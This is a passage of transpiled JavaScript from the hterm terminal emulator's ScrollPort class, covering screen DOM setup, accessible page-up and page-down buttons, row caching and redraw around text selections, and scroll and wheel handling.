// Some of these attributes are standard while others are browser specific,
// but should be safely ignored by other browsers.
this.screen_ = doc.createElement('x-screen'); 
this.screen_.setAttribute('contenteditable', 'false'); 
this.screen_.setAttribute('spellcheck', 'false'); 
this.screen_.setAttribute('autocomplete', 'off'); 
this.screen_.setAttribute('autocorrect', 'off'); 
this.screen_.setAttribute('autocapitalize', 'none'); 
this.screen_.setAttribute('role', 'textbox'); 
this.screen_.setAttribute('aria-live', 'off');
// Set aria-readonly to indicate to the screen reader that the text on the
// screen is not modifiable by the html cursor. It may be modifiable by
// sending input to the application running in the terminal, but this is
// orthogonal to the DOM's notion of modifiable.
this.screen_.setAttribute('aria-readonly', 'true'); 
this.screen_.setAttribute('tabindex', '-1'); 
this.screen_.style.cssText = 'caret-color: transparent;' + 
'display: block;' + 
'font-family: monospace;' + 
'font-size: 15px;' + 
'font-variant-ligatures: none;' + 
'height: 100%;' + 
'overflow-y: scroll; overflow-x: hidden;' + 
'white-space: pre;' + 
'width: 100%;' + 
'outline: none !important'; 
doc.body.appendChild(this.screen_); 
this.screen_.addEventListener('scroll', this.onScroll_.bind(this)); 
this.screen_.addEventListener('wheel', this.onScrollWheel_.bind(this)); 
this.screen_.addEventListener('touchstart', this.onTouch_.bind(this)); 
this.screen_.addEventListener('touchmove', this.onTouch_.bind(this)); 
this.screen_.addEventListener('touchend', this.onTouch_.bind(this)); 
this.screen_.addEventListener('touchcancel', this.onTouch_.bind(this)); 
this.screen_.addEventListener('copy', this.onCopy_.bind(this)); 
this.screen_.addEventListener('paste', this.onPaste_.bind(this)); 
this.screen_.addEventListener('drop', this.onDragAndDrop_.bind(this)); 
doc.body.addEventListener('keydown', this.onBodyKeyDown_.bind(this));
doc.body.addEventListener('mscontrolselect', this.onControlSelect_.bind(this))
// Add buttons to make accessible scrolling through terminal history work
// well. These are positioned off-screen until they are selected, at which
// point they are moved on-screen.
var scrollButtonHeight = 30; var scrollButtonBorder = 1; var scrollButtonTotalHeight = scrollButtonHeight + 2 * scrollButtonBorder; var scrollButtonStyle = 'right: 0px;\n                             position:fixed;\n                             z-index: 1;\n                             text-align: center;\n                             cursor: pointer;\n                             height: ' + scrollButtonHeight + 'px;\n                             width: 110px;\n                             line-height: ' + scrollButtonHeight + 'px;\n                             border-width: ' + scrollButtonBorder + 'px;\n                             border-style: solid;\n                             font-weight: bold;';// Note: we use a <div> rather than a <button> because we don't want it to be
// focusable. If it's focusable this interferes with the contenteditable
// focus.
this.scrollUpButton_ = this.document_.createElement('div'); this.scrollUpButton_.id = 'hterm:a11y:page-up'; this.scrollUpButton_.innerText = hterm.msg('BUTTON_PAGE_UP', [], 'Page up'); this.scrollUpButton_.setAttribute('role', 'button'); this.scrollUpButton_.style.cssText = scrollButtonStyle; this.scrollUpButton_.style.top = -scrollButtonTotalHeight + 'px'; this.scrollUpButton_.addEventListener('click', this.scrollPageUp.bind(this)); this.scrollDownButton_ = this.document_.createElement('div'); this.scrollDownButton_.id = 'hterm:a11y:page-down'; this.scrollDownButton_.innerText = hterm.msg('BUTTON_PAGE_DOWN', [], 'Page down'); this.scrollDownButton_.setAttribute('role', 'button'); this.scrollDownButton_.style.cssText = scrollButtonStyle; this.scrollDownButton_.style.bottom = -scrollButtonTotalHeight + 'px'; this.scrollDownButton_.addEventListener('click', this.scrollPageDown.bind(this));// We only allow the scroll buttons to display after a delay, otherwise the
// page up button can flash onto the screen during the intial change in focus.
// This seems to be because it is the first element inside the <x-screen>
// element, which will get focussed on page load.
this.allowScrollButtonsToDisplay_ = false; setTimeout(function () { _this5.allowScrollButtonsToDisplay_ = true; }, 500); this.document_.addEventListener('selectionchange', function () { _this5.selection.sync(); if (!_this5.allowScrollButtonsToDisplay_) return; var selection = _this5.document_.getSelection(); var selectedElement = void 0; if (selection.anchorNode && selection.anchorNode.parentElement) { selectedElement = selection.anchorNode.parentElement; } if (selectedElement == _this5.scrollUpButton_) { _this5.scrollUpButton_.style.top = '0px'; } else { _this5.scrollUpButton_.style.top = -scrollButtonTotalHeight + 'px'; } if (selectedElement == _this5.scrollDownButton_) { _this5.scrollDownButton_.style.bottom = '0px'; } else { _this5.scrollDownButton_.style.bottom = -scrollButtonTotalHeight + 'px'; } }); this.screen_.appendChild(this.scrollUpButton_);// This is the main container for the fixed rows.
this.rowNodes_ = doc.createElement('div');
this.rowNodes_.id = 'hterm:row-nodes';
this.rowNodes_.setAttribute('contenteditable', 'true');
this.rowNodes_.style.cssText = 
'display: block;' + 
'position: fixed;' + 
'overflow: hidden;' + 
'user-select: text;' +
'-ms-user-select: text;' +
'-webkit-user-select: text;' + 
'-moz-user-select: text;'; 
this.screen_.appendChild(this.rowNodes_); 
this.screen_.appendChild(this.scrollDownButton_);
// Two nodes to hold offscreen text during the copy event.
this.topSelectBag_ = doc.createElement('x-select-bag'); 
this.topSelectBag_.style.cssText = 
'display: block;' + 
'overflow: hidden;' + 
'height: var(--hterm-charsize-height);' + 
'white-space: pre;'; 
this.bottomSelectBag_ = this.topSelectBag_.cloneNode();
// Nodes above the top fold and below the bottom fold are hidden.  They are
// only used to hold rows that are part of the selection but are currently
// scrolled off the top or bottom of the visible range.
this.topFold_ = doc.createElement('x-fold'); this.topFold_.id = 'hterm:top-fold-for-row-selection'; this.topFold_.style.cssText = 'display: block;'; this.rowNodes_.appendChild(this.topFold_); this.bottomFold_ = this.topFold_.cloneNode(); this.bottomFold_.id = 'hterm:bottom-fold-for-row-selection'; this.rowNodes_.appendChild(this.bottomFold_);// This hidden div accounts for the vertical space that would be consumed by
// all the rows in the buffer if they were visible.  It's what causes the
// scrollbar to appear on the 'x-screen', and it moves within the screen when
// the scrollbar is moved.
//
// It is set 'visibility: hidden' to keep the browser from trying to include
// it in the selection when a user 'drag selects' upwards (drag the mouse to
// select and scroll at the same time).  Without this, the selection gets
// out of whack.
this.scrollArea_ = doc.createElement('div'); 
this.scrollArea_.id = 'hterm:scrollarea';  
this.scrollArea_.style.cssText = 'visibility: hidden'; 
this.screen_.appendChild(this.scrollArea_);
// This svg element is used to detect when the browser is zoomed.  It must be
// placed in the outermost document for currentScale to be correct.
// TODO(rginda): This means that hterm nested in an iframe will not correctly
// detect browser zoom level.  We should come up with a better solution.
// Note: This must be http:// else Chrome cannot create the element correctly.
var xmlns = 'http://www.w3.org/2000/svg'; this.svg_ = this.div_.ownerDocument.createElementNS(xmlns, 'svg'); this.svg_.id = 'hterm:zoom-detector'; this.svg_.setAttribute('xmlns', xmlns); this.svg_.setAttribute('version', '1.1'); this.svg_.style.cssText = 'position: absolute;' + 'top: 0;' + 'left: 0;' + 'visibility: hidden';// We send focus to this element just before a paste happens, so we can
// capture the pasted text and forward it on to someone who cares.
this.pasteTarget_ = doc.createElement('textarea'); this.pasteTarget_.id = 'hterm:ctrl-v-paste-target'; this.pasteTarget_.setAttribute('tabindex', '-1'); this.pasteTarget_.setAttribute('aria-hidden', 'true'); this.pasteTarget_.style.cssText = 'position: absolute;' + 'height: 1px;' + 'width: 1px;' + 'left: 0px; ' + 'bottom: 0px;' + 'opacity: 0'; this.pasteTarget_.contentEditable = true; this.screen_.appendChild(this.pasteTarget_); this.pasteTarget_.addEventListener('textInput', this.handlePasteTargetTextInput_.bind(this)); this.resize();
};/**
* Set the AccessibilityReader object to use to announce page scroll updates.
*
* @param {hterm.AccessibilityReader} accessibilityReader for announcing page
*     scroll updates.
*/hterm.ScrollPort.prototype.setAccessibilityReader = function (accessibilityReader) { this.accessibilityReader_ = accessibilityReader; };/**
* Scroll the terminal one page up (minus one line) relative to the current
* position.
*/hterm.ScrollPort.prototype.scrollPageUp = function () { if (this.getTopRowIndex() == 0) { return; } var i = this.getTopRowIndex(); this.scrollRowToTop(i - this.visibleRowCount + 1); this.announceCurrentScreen_(); };/**
* Scroll the terminal one page down (minus one line) relative to the current
* position.
*/hterm.ScrollPort.prototype.scrollPageDown = function () { if (this.isScrolledEnd) { return; } var i = this.getTopRowIndex(); this.scrollRowToTop(i + this.visibleRowCount - 1); this.announceCurrentScreen_(); };/**
* Select the font-family and font-smoothing for this scrollport.
*
* @param {string} fontFamily Value of the CSS 'font-family' to use for this
*     scrollport.  Should be a monospace font.
* @param {string} opt_smoothing Optional value for '-webkit-font-smoothing'.
*     Defaults to an empty string if not specified.
*/hterm.ScrollPort.prototype.setFontFamily = function (fontFamily, opt_smoothing) { this.screen_.style.fontFamily = fontFamily; if (opt_smoothing) { this.screen_.style.webkitFontSmoothing = opt_smoothing; } else { this.screen_.style.webkitFontSmoothing = ''; } this.syncCharacterSize(); }; hterm.ScrollPort.prototype.getFontFamily = function () { return this.screen_.style.fontFamily; };/**
* Set a custom stylesheet to include in the scrollport.
*
* Defaults to null, meaning no custom css is loaded.  Set it back to null or
* the empty string to remove a previously applied custom css.
*/hterm.ScrollPort.prototype.setUserCssUrl = function (url) { if (url) { this.userCssLink_.setAttribute('href', url); if (!this.userCssLink_.parentNode) this.document_.head.appendChild(this.userCssLink_); } else if (this.userCssLink_.parentNode) { this.document_.head.removeChild(this.userCssLink_); } }; hterm.ScrollPort.prototype.setUserCssText = function (text) { this.userCssText_.textContent = text; }; hterm.ScrollPort.prototype.focus = function () { this.iframe_.focus(); this.screen_.focus(); }; hterm.ScrollPort.prototype.getForegroundColor = function () { return this.screen_.style.color; }; hterm.ScrollPort.prototype.setForegroundColor = function (color) { this.screen_.style.color = color; this.scrollUpButton_.style.backgroundColor = color; this.scrollDownButton_.style.backgroundColor = color; }; hterm.ScrollPort.prototype.getBackgroundColor = function () { return this.screen_.style.backgroundColor; }; hterm.ScrollPort.prototype.setBackgroundColor = function (color) { this.screen_.style.backgroundColor = color; this.scrollUpButton_.style.color = color; this.scrollDownButton_.style.color = color; }; hterm.ScrollPort.prototype.setBackgroundImage = function (image) { this.screen_.style.backgroundImage = image; }; hterm.ScrollPort.prototype.setBackgroundSize = function (size) { this.screen_.style.backgroundSize = size; }; hterm.ScrollPort.prototype.setBackgroundPosition = function (position) { this.screen_.style.backgroundPosition = position; }; hterm.ScrollPort.prototype.setCtrlVPaste = function (ctrlVPaste) { this.ctrlVPaste = ctrlVPaste; };/**
* Get the usable size of the scrollport screen.
*
* The width will not include the scrollbar width.
*/hterm.ScrollPort.prototype.getScreenSize = function () { var size = hterm.getClientSize(this.screen_); return { height: size.height, width: size.width - this.currentScrollbarWidthPx }; };/**
* Get the usable width of the scrollport screen.
*
* This the widget width minus scrollbar width.
*/hterm.ScrollPort.prototype.getScreenWidth = function () { return this.getScreenSize().width; };/**
* Get the usable height of the scrollport screen.
*/hterm.ScrollPort.prototype.getScreenHeight = function () { return this.getScreenSize().height; };/**
* Return the document that holds the visible rows of this hterm.ScrollPort.
*/hterm.ScrollPort.prototype.getDocument = function () { return this.document_; };/**
* Returns the x-screen element that holds the rows of this hterm.ScrollPort.
*/hterm.ScrollPort.prototype.getScreenNode = function () { return this.screen_; };/**
* Clear out any cached rowNodes.
*/hterm.ScrollPort.prototype.resetCache = function () { this.currentRowNodeCache_ = null; this.previousRowNodeCache_ = {}; };/**
* Change the current rowProvider.
*
* This will clear the row cache and cause a redraw.
*
* @param {Object} rowProvider An object capable of providing the rows
*     in this hterm.ScrollPort.
*/hterm.ScrollPort.prototype.setRowProvider = function (rowProvider) { this.resetCache(); this.rowProvider_ = rowProvider; this.scheduleRedraw(); };/**
* Inform the ScrollPort that the root DOM nodes for some or all of the visible
* rows are no longer valid.
*
* Specifically, this should be called if this.rowProvider_.getRowNode() now
* returns an entirely different node than it did before.  It does not
* need to be called if the content of a row node is the only thing that
* changed.
*
* This skips some of the overhead of a full redraw, but should not be used
* in cases where the scrollport has been scrolled, or when the row count has
* changed.
*/hterm.ScrollPort.prototype.invalidate = function () { var node = this.topFold_.nextSibling; while (node != this.bottomFold_) { var nextSibling = node.nextSibling; node.parentElement.removeChild(node); node = nextSibling; } this.previousRowNodeCache_ = null; var topRowIndex = this.getTopRowIndex(); var bottomRowIndex = this.getBottomRowIndex(topRowIndex); this.drawVisibleRows_(topRowIndex, bottomRowIndex); }; hterm.ScrollPort.prototype.scheduleInvalidate = function () { if (this.timeouts_.invalidate) return; var self = this; this.timeouts_.invalidate = setTimeout(function () { delete self.timeouts_.invalidate; self.invalidate(); }, 0); };/**
* Set the font size of the ScrollPort.
*/hterm.ScrollPort.prototype.setFontSize = function (px) { this.screen_.style.fontSize = px + 'px'; this.syncCharacterSize(); };/**
* Return the current font size of the ScrollPort.
*/hterm.ScrollPort.prototype.getFontSize = function () { return parseInt(this.screen_.style.fontSize); };/**
* Measure the size of a single character in pixels.
*
* @param {string} opt_weight The font weight to measure, or 'normal' if
*     omitted.
* @return {hterm.Size} A new hterm.Size object.
*/hterm.ScrollPort.prototype.measureCharacterSize = function (opt_weight) {// Number of lines used to average the height of a single character.
var numberOfLines = 100;// Number of chars per line used to average the width of a single character.
var lineLength = 100; if (!this.ruler_) {
this.ruler_ = this.document_.createElement('div'); this.ruler_.id = 'hterm:ruler-character-size'; this.ruler_.style.cssText = 'position: absolute;' + 'top: 0;' + 'left: 0;' + 'visibility: hidden;' + 'height: auto !important;' + 'width: auto !important;';// We need to put the text in a span to make the size calculation
// work properly in Firefox
this.rulerSpan_ = this.document_.createElement('span'); this.rulerSpan_.id = 'hterm:ruler-span-workaround'; this.rulerSpan_.innerHTML = ('X'.repeat(lineLength) + '\r').repeat(numberOfLines); this.ruler_.appendChild(this.rulerSpan_); this.rulerBaseline_ = this.document_.createElement('span'); this.rulerSpan_.id = 'hterm:ruler-baseline';// We want to collapse it on the baseline
this.rulerBaseline_.style.fontSize = '0px'; this.rulerBaseline_.textContent = 'X';
} this.rulerSpan_.style.fontWeight = opt_weight || ''; this.rowNodes_.appendChild(this.ruler_); var rulerSize = hterm.getClientSize(this.rulerSpan_); var size = new hterm.Size(rulerSize.width / lineLength, rulerSize.height / numberOfLines); this.ruler_.appendChild(this.rulerBaseline_); size.baseline = this.rulerBaseline_.offsetTop; this.ruler_.removeChild(this.rulerBaseline_); this.rowNodes_.removeChild(this.ruler_); this.div_.ownerDocument.body.appendChild(this.svg_); size.zoomFactor = this.svg_.currentScale; this.div_.ownerDocument.body.removeChild(this.svg_); return size;
};/**
* Synchronize the character size.
*
* This will re-measure the current character size and adjust the height
* of an x-row to match.
*/hterm.ScrollPort.prototype.syncCharacterSize = function () { this.characterSize = this.measureCharacterSize(); this.resize(); };/**
* Reset dimensions and visible row count to account for a change in the
* dimensions of the 'x-screen'.
*/hterm.ScrollPort.prototype.resize = function () { this.currentScrollbarWidthPx = hterm.getClientWidth(this.screen_) - this.screen_.clientWidth; this.syncScrollHeight(); this.syncRowNodesDimensions_(); var self = this; this.publish('resize', { scrollPort: this }, function () { self.scrollRowToBottom(self.rowProvider_.getRowCount()); self.scheduleRedraw(); }); };/**
* Announce text content on the current screen for the screen reader.
*/hterm.ScrollPort.prototype.announceCurrentScreen_ = function () { if (!this.accessibilityReader_) { return; } var topRow = this.getTopRowIndex(); var bottomRow = this.getBottomRowIndex(topRow); var percentScrolled = 100 * topRow / Math.max(1, this.rowProvider_.getRowCount() - this.visibleRowCount); percentScrolled = Math.min(100, Math.round(percentScrolled)); var currentScreenContent = hterm.msg('ANNOUNCE_CURRENT_SCREEN_HEADER', [percentScrolled], '$1% scrolled,'); currentScreenContent += '\n'; for (var i = topRow; i <= bottomRow; ++i) { var node = this.fetchRowNode_(i); currentScreenContent += node.textContent + '\n'; } this.accessibilityReader_.announceCurrentScreen(currentScreenContent); };/**
* Set the position and size of the row nodes element.
*/hterm.ScrollPort.prototype.syncRowNodesDimensions_ = function () {
var screenSize = this.getScreenSize(); this.lastScreenWidth_ = screenSize.width; this.lastScreenHeight_ = screenSize.height;// We don't want to show a partial row because it would be distracting
// in a terminal, so we floor any fractional row count.
this.visibleRowCount = lib.f.smartFloorDivide(screenSize.height, this.characterSize.height);// Then compute the height of our integral number of rows.
var visibleRowsHeight = this.visibleRowCount * this.characterSize.height;// Then the difference between the screen height and total row height needs to
// be made up for as top margin.  We need to record this value so it
// can be used later to determine the topRowIndex.
this.visibleRowTopMargin = 0; this.visibleRowBottomMargin = screenSize.height - visibleRowsHeight; this.topFold_.style.marginBottom = this.visibleRowTopMargin + 'px'; var topFoldOffset = 0; var node = this.topFold_.previousSibling; while (node) { topFoldOffset += hterm.getClientHeight(node); node = node.previousSibling; }// Set the dimensions of the visible rows container.
this.rowNodes_.style.width = screenSize.width + 'px'; this.rowNodes_.style.height = visibleRowsHeight + topFoldOffset + 'px'; this.rowNodes_.style.left = this.screen_.offsetLeft + 'px'; this.rowNodes_.style.top = this.screen_.offsetTop - topFoldOffset + 'px';
}; hterm.ScrollPort.prototype.syncScrollHeight = function () {// Resize the scroll area to appear as though it contains every row.
this.lastRowCount_ = this.rowProvider_.getRowCount(); this.scrollArea_.style.height = this.characterSize.height * this.lastRowCount_ + this.visibleRowTopMargin + this.visibleRowBottomMargin + 'px';
};/**
* Schedule a redraw to happen asynchronously.
*
* If this method is called multiple times before the redraw has a chance to
* run only one redraw occurs.
*/hterm.ScrollPort.prototype.scheduleRedraw = function () { if (this.timeouts_.redraw) return; var self = this; this.timeouts_.redraw = setTimeout(function () { delete self.timeouts_.redraw; self.redraw_(); }, 0); };/**
* Update the state of scroll up/down buttons.
*
* If the viewport is at the top or bottom row of output, these buttons will
* be made transparent and clicking them shouldn't scroll any further.
*/hterm.ScrollPort.prototype.updateScrollButtonState_ = function () { var setButton = function setButton(button, disabled) { button.setAttribute('aria-disabled', disabled ? 'true' : 'false'); button.style.opacity = disabled ? 0.5 : 1; }; setButton(this.scrollUpButton_, this.getTopRowIndex() == 0); setButton(this.scrollDownButton_, this.isScrolledEnd); };/**
* Redraw the current hterm.ScrollPort based on the current scrollbar position.
*
* When redrawing, we are careful to make sure that the rows that start or end
* the current selection are not touched in any way.  Doing so would disturb
* the selection, and cleaning up after that would cause flashes at best and
* incorrect selection at worst.  Instead, we modify the DOM around these nodes.
* We even stash the selection start/end outside of the visible area if
* they are not supposed to be visible in the hterm.ScrollPort.
*/hterm.ScrollPort.prototype.redraw_ = function () { this.resetSelectBags_(); this.selection.sync(); this.syncScrollHeight(); this.currentRowNodeCache_ = {}; var topRowIndex = this.getTopRowIndex(); var bottomRowIndex = this.getBottomRowIndex(topRowIndex); this.drawTopFold_(topRowIndex); this.drawBottomFold_(bottomRowIndex); this.drawVisibleRows_(topRowIndex, bottomRowIndex); this.syncRowNodesDimensions_(); this.previousRowNodeCache_ = this.currentRowNodeCache_; this.currentRowNodeCache_ = null; this.isScrolledEnd = this.getTopRowIndex() + this.visibleRowCount >= this.lastRowCount_; this.updateScrollButtonState_(); };/**
* Ensure that the nodes above the top fold are as they should be.
*
* If the selection start and/or end nodes are above the visible range
* of this hterm.ScrollPort then the dom will be adjusted so that they appear
* before the top fold (the first x-fold element, aka this.topFold).
*
* If not, the top fold will be the first element.
*
* It is critical that this method does not move the selection nodes.  Doing
* so would clear the current selection.  Instead, the rest of the DOM is
* adjusted around them.
*/hterm.ScrollPort.prototype.drawTopFold_ = function (topRowIndex) {
if (!this.selection.startRow || this.selection.startRow.rowIndex >= topRowIndex) {// Selection is entirely below the top fold, just make sure the fold is
// the first child.
if (this.rowNodes_.firstChild != this.topFold_) this.rowNodes_.insertBefore(this.topFold_, this.rowNodes_.firstChild); return;
} if (!this.selection.isMultiline || this.selection.endRow.rowIndex >= topRowIndex) {// Only the startRow is above the fold.
if (this.selection.startRow.nextSibling != this.topFold_) this.rowNodes_.insertBefore(this.topFold_, this.selection.startRow.nextSibling);
} else {// Both rows are above the fold.
if (this.selection.endRow.nextSibling != this.topFold_) { this.rowNodes_.insertBefore(this.topFold_, this.selection.endRow.nextSibling); }// Trim any intermediate lines.
while (this.selection.startRow.nextSibling != this.selection.endRow) { this.rowNodes_.removeChild(this.selection.startRow.nextSibling); }
} while (this.rowNodes_.firstChild != this.selection.startRow) { this.rowNodes_.removeChild(this.rowNodes_.firstChild); }
};/**
* Ensure that the nodes below the bottom fold are as they should be.
*
* If the selection start and/or end nodes are below the visible range
* of this hterm.ScrollPort then the dom will be adjusted so that they appear
* after the bottom fold (the second x-fold element, aka this.bottomFold).
*
* If not, the bottom fold will be the last element.
*
* It is critical that this method does not move the selection nodes.  Doing
* so would clear the current selection.  Instead, the rest of the DOM is
* adjusted around them.
*/hterm.ScrollPort.prototype.drawBottomFold_ = function (bottomRowIndex) {
if (!this.selection.endRow || this.selection.endRow.rowIndex <= bottomRowIndex) {// Selection is entirely above the bottom fold, just make sure the fold is
// the last child.
if (this.rowNodes_.lastChild != this.bottomFold_) this.rowNodes_.appendChild(this.bottomFold_); return;
} if (!this.selection.isMultiline || this.selection.startRow.rowIndex <= bottomRowIndex) {// Only the endRow is below the fold.
if (this.bottomFold_.nextSibling != this.selection.endRow) this.rowNodes_.insertBefore(this.bottomFold_, this.selection.endRow);
} else {// Both rows are below the fold.
if (this.bottomFold_.nextSibling != this.selection.startRow) { this.rowNodes_.insertBefore(this.bottomFold_, this.selection.startRow); }// Trim any intermediate lines.
while (this.selection.startRow.nextSibling != this.selection.endRow) { this.rowNodes_.removeChild(this.selection.startRow.nextSibling); }
} while (this.rowNodes_.lastChild != this.selection.endRow) { this.rowNodes_.removeChild(this.rowNodes_.lastChild); }
};/**
* Ensure that the rows between the top and bottom folds are as they should be.
*
* This method assumes that drawTopFold_() and drawBottomFold_() have already
* run, and that they have left any visible selection row (selection start
* or selection end) between the folds.
*
* It recycles DOM nodes from the previous redraw where possible, but will ask
* the rowSource to make new nodes if necessary.
*
* It is critical that this method does not move the selection nodes.  Doing
* so would clear the current selection.  Instead, the rest of the DOM is
* adjusted around them.
*/hterm.ScrollPort.prototype.drawVisibleRows_ = function (topRowIndex, bottomRowIndex) {
var self = this;// Keep removing nodes, starting with currentNode, until we encounter
// targetNode.  Throws on failure.
function removeUntilNode(currentNode, targetNode) { while (currentNode != targetNode) { if (!currentNode) throw 'Did not encounter target node'; if (currentNode == self.bottomFold_) throw 'Encountered bottom fold before target node'; var deadNode = currentNode; currentNode = currentNode.nextSibling; deadNode.parentNode.removeChild(deadNode); } }// Shorthand for things we're going to use a lot.
var selectionStartRow = this.selection.startRow; var selectionEndRow = this.selection.endRow; var bottomFold = this.bottomFold_;// The node we're examining during the current iteration.
var node = this.topFold_.nextSibling; var targetDrawCount = Math.min(this.visibleRowCount, this.rowProvider_.getRowCount()); for (var drawCount = 0; drawCount < targetDrawCount; drawCount++) {
var rowIndex = topRowIndex + drawCount; if (node == bottomFold) {// We've hit the bottom fold, we need to insert a new row.
var newNode = this.fetchRowNode_(rowIndex); if (!newNode) { console.log("Couldn't fetch row index: " + rowIndex); break; } this.rowNodes_.insertBefore(newNode, node); continue;
} if (node.rowIndex == rowIndex) {// This node is in the right place, move along.
node = node.nextSibling; continue;
} if (selectionStartRow && selectionStartRow.rowIndex == rowIndex) {// The selection start row is supposed to be here, remove nodes until
// we find it.
removeUntilNode(node, selectionStartRow); node = selectionStartRow.nextSibling; continue;
} if (selectionEndRow && selectionEndRow.rowIndex == rowIndex) {// The selection end row is supposed to be here, remove nodes until
// we find it.
removeUntilNode(node, selectionEndRow); node = selectionEndRow.nextSibling; continue;
} if (node == selectionStartRow || node == selectionEndRow) {// We encountered the start/end of the selection, but we don't want it
// yet.  Insert a new row instead.
var newNode = this.fetchRowNode_(rowIndex); if (!newNode) { console.log("Couldn't fetch row index: " + rowIndex); break; } this.rowNodes_.insertBefore(newNode, node); continue;
}// There is nothing special about this node, but it's in our way.  Replace
// it with the node that should be here.
var newNode = this.fetchRowNode_(rowIndex); if (!newNode) { console.log("Couldn't fetch row index: " + rowIndex); break; } if (node == newNode) { node = node.nextSibling; continue; } this.rowNodes_.insertBefore(newNode, node); if (!newNode.nextSibling) debugger; this.rowNodes_.removeChild(node); node = newNode.nextSibling;
} if (node != this.bottomFold_) removeUntilNode(node, bottomFold);
};/**
* Empty out both select bags and remove them from the document.
*
* These nodes hold the text between the start and end of the selection
* when that text is otherwise off screen.  They are filled out in the
* onCopy_ event.
*/hterm.ScrollPort.prototype.resetSelectBags_ = function () { if (this.topSelectBag_.parentNode) { this.topSelectBag_.textContent = ''; this.topSelectBag_.parentNode.removeChild(this.topSelectBag_); } if (this.bottomSelectBag_.parentNode) { this.bottomSelectBag_.textContent = ''; this.bottomSelectBag_.parentNode.removeChild(this.bottomSelectBag_); } };/**
* Place a row node in the cache of visible nodes.
*
* This method may only be used during a redraw_.
*/hterm.ScrollPort.prototype.cacheRowNode_ = function (rowNode) { this.currentRowNodeCache_[rowNode.rowIndex] = rowNode; };/**
* Fetch the row node for the given index.
*
* This will return a node from the cache if possible, or will request one
* from the RowProvider if not.
*
* If a redraw_ is in progress the row will be added to the current cache.
*/hterm.ScrollPort.prototype.fetchRowNode_ = function (rowIndex) { var node; if (this.previousRowNodeCache_ && rowIndex in this.previousRowNodeCache_) { node = this.previousRowNodeCache_[rowIndex]; } else { node = this.rowProvider_.getRowNode(rowIndex); } if (this.currentRowNodeCache_) this.cacheRowNode_(node); return node; };/**
* Select all rows in the viewport.
*/hterm.ScrollPort.prototype.selectAll = function () { var firstRow; if (this.topFold_.nextSibling.rowIndex != 0) { while (this.topFold_.previousSibling) { this.rowNodes_.removeChild(this.topFold_.previousSibling); } firstRow = this.fetchRowNode_(0); this.rowNodes_.insertBefore(firstRow, this.topFold_); this.syncRowNodesDimensions_(); } else { firstRow = this.topFold_.nextSibling; } var lastRowIndex = this.rowProvider_.getRowCount() - 1; var lastRow; if (this.bottomFold_.previousSibling.rowIndex != lastRowIndex) { while (this.bottomFold_.nextSibling) { this.rowNodes_.removeChild(this.bottomFold_.nextSibling); } lastRow = this.fetchRowNode_(lastRowIndex); this.rowNodes_.appendChild(lastRow); } else { lastRow = this.bottomFold_.previousSibling.rowIndex; } var selection = this.document_.getSelection(); selection.collapse(firstRow, 0); selection.extend(lastRow, lastRow.childNodes.length); this.selection.sync(); };/**
* Return the maximum scroll position in pixels.
*/hterm.ScrollPort.prototype.getScrollMax_ = function (e) { return hterm.getClientHeight(this.scrollArea_) + this.visibleRowTopMargin + this.visibleRowBottomMargin - hterm.getClientHeight(this.screen_); };/**
* Scroll the given rowIndex to the top of the hterm.ScrollPort.
*
* @param {integer} rowIndex Index of the target row.
*/hterm.ScrollPort.prototype.scrollRowToTop = function (rowIndex) { this.syncScrollHeight(); this.isScrolledEnd = rowIndex + this.visibleRowCount >= this.lastRowCount_; var scrollTop = rowIndex * this.characterSize.height + this.visibleRowTopMargin; var scrollMax = this.getScrollMax_(); if (scrollTop > scrollMax) scrollTop = scrollMax; if (this.screen_.scrollTop == scrollTop) return; this.screen_.scrollTop = scrollTop; this.scheduleRedraw(); };/**
* Scroll the given rowIndex to the bottom of the hterm.ScrollPort.
*
* @param {integer} rowIndex Index of the target row.
*/hterm.ScrollPort.prototype.scrollRowToBottom = function (rowIndex) { this.syncScrollHeight(); this.isScrolledEnd = rowIndex + this.visibleRowCount >= this.lastRowCount_; var scrollTop = rowIndex * this.characterSize.height + this.visibleRowTopMargin + this.visibleRowBottomMargin; scrollTop -= this.visibleRowCount * this.characterSize.height; if (scrollTop < 0) scrollTop = 0; if (this.screen_.scrollTop == scrollTop) return; this.screen_.scrollTop = scrollTop; };/**
* Return the row index of the first visible row.
*
* This is based on the scroll position.  If a redraw_ is in progress this
* returns the row that *should* be at the top.
*/hterm.ScrollPort.prototype.getTopRowIndex = function () { return Math.round(this.screen_.scrollTop / this.characterSize.height); };/**
* Return the row index of the last visible row.
*
* This is based on the scroll position.  If a redraw_ is in progress this
* returns the row that *should* be at the bottom.
*/hterm.ScrollPort.prototype.getBottomRowIndex = function (topRowIndex) { return topRowIndex + this.visibleRowCount - 1; };/**
* Handler for scroll events.
*
* The onScroll event fires when scrollArea's scrollTop property changes.  This
* may be due to the user manually move the scrollbar, or a programmatic change.
*/hterm.ScrollPort.prototype.onScroll_ = function (e) {
var screenSize = this.getScreenSize(); if (screenSize.width != this.lastScreenWidth_ || screenSize.height != this.lastScreenHeight_) {// This event may also fire during a resize (but before the resize event!).
// This happens when the browser moves the scrollbar as part of the resize.
// In these cases, we want to ignore the scroll event and let onResize
// handle things.  If we don't, then we end up scrolling to the wrong
// position after a resize.
this.resize(); return;
} this.redraw_(); this.publish('scroll', { scrollPort: this });
};/**
* Clients can override this if they want to hear scrollwheel events.
*
* Clients may call event.preventDefault() if they want to keep the scrollport
* from also handling the events.
*/hterm.ScrollPort.prototype.onScrollWheel = function (e) { };/**
* Handler for scroll-wheel events.
*
* The onScrollWheel event fires when the user moves their scrollwheel over this
* hterm.ScrollPort.  Because the frontmost element in the hterm.ScrollPort is
* a fixed position DIV, the scroll wheel does nothing by default.  Instead, we
* have to handle it manually.
*/hterm.ScrollPort.prototype.onScrollWheel_ = function (e) {
this.onScrollWheel(e); if (e.defaultPrevented) return;// Figure out how far this event wants us to scroll.
var delta = this.scrollWheelDelta(e); var top = this.screen_.scrollTop - delta; if (top < 0) top = 0; var scrollMax = this.getScrollMax_(); if (top > scrollMax) top = scrollMax; if (top != this.screen_.scrollTop) {// Moving scrollTop causes a scroll event, which triggers the redraw.
this.screen_.scrollTop = top;// Only preventDefault when we've actually scrolled.  If there's nothing
// to scroll we want to pass the event through so Chrome can detect the
// overscroll.
e.preventDefault();
}
};/**
* Calculate how far a wheel event should scroll.
*
* @param {WheelEvent} e The mouse wheel event to process.
* @return {number} How far (in pixels) to scroll.
*/hterm.ScrollPort.prototype.scrollWheelDelta = function (e) {
